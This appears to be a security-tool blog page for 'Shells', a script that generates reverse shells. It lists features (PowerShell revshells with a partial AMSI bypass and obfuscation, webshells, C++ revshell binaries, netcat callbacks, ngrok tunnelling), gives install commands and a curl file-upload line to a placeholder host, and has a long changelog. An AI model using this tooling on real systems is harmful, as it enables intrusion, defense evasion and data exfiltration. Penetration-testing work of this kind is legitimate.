Shells - Little Script For Generating Revshells

Shells – Little Script For Generating Revshells

December 3, 2022 Comments Off

A script for generating common revshells fast and easy.
Especially nice when in need of PowerShell and Python revshells, which can be a PITA getting correctly formated.

PowerShell revshells

Shows [email protected], above the prompt and working-directory
Has a partial AMSI-bypass, making some stuff a bit easier
TCP and UDP
Windows Powershell and Core Powershell
Functions for uploading and downloading files. (Using Updog by sc0tfree)

ngrok support

ngrok can be started/stopped from inside the script
payloads will be genereated with the ngrok addresses

Updog support

you can start/stop Updog from inside the script
The PowerShell revshells have upload/download function embedded
To upload from nix using curl: curl -F path="absolute path for Updog-folder" -F file=filename http://UpdogIP/upload

To install Shells

git clone https://github.com/4ndr34z/shells
cd shells
./install.sh

Screenshots

Youtube video

Version 1.4.6

Added webshells (ASPX, PHP, JSP)

Version 1.4.5

Added 2 c++ revshell binaries for Windows 32 and 64 bit.

Version 1.4.4

Fixed the handling of starting/stopping Updog

Version 1.4.3

Added Updog support
Added Netcat binaries.
Powershell: Created upload/download functionality (upload requires Updog for receiving files)
Added more information about running ngrok and Updog.

Version 1.4.2

PowerShell: Added a new “mini AMSI-bypass”. (It is a partial bypass) Based on Matt Graebers Reflection method
PowerShell: Added a “upload” function in the Powershell reverseshell

Version 1.4.1

Removed AMSI. Not tested enough 🙂

Version 1.4

Added AMSI-bypass for the powershell payloads

Version 1.3.9

Fixed bug when setting port
Changed default port to 443
PowerShell: obfuscated some more

Version 1.3.8

PowerShell: Minor changes to the UDP payload

Version 1.3.7

Using only native nc on macOS, because the one on homebrew doesn’t work on incoming UDP
PowerShell: Added UDP payloads

Version 1.3.6

PowerShell: Added more payloads

Version 1.3.5

PowerShell: Added some randomization and obfuscation for the payload

Version 1.3.4

PowerShell: Using UTF8 encoding in payload

Version 1.3.3

Added Golang

Version 1.3.2

Added OpenSSL

Version 1.3.1

Fixed bug in Python revshell
Added awk
Added Bash UDP

Version 1.3

Added Windows Python revshells

Version 1.2.9

Added a ngrok running-status

Version 1.2.8

Hiding ngrok choice if not installed

Version 1.2.7

Fixed the install options: not doing default option when pressing enter without making a choice

Version 1.2.6

Added support for ngrok.

Version 1.2.4

Added a install-script
Added install options for checking and installing missing dependencies

Version 1.2.3

Added a couple of PHP shells

Version 1.2.2

Added shells for: Ruby, Perl, Telnet and zsh

Version 1.2.1

Added copy to clipboard using pbcopy on macOS
Added info about listening netcat as the macOS versions doesn’t display that

Version 1.2

Added looping netcat shells. Calls back every 10 seconds. Great in case you loose your shell
Added check for netcat GNU netcat 0.7.0 Homebrew when running on macOS

Version 1.1

Added support for macOS

Download Shells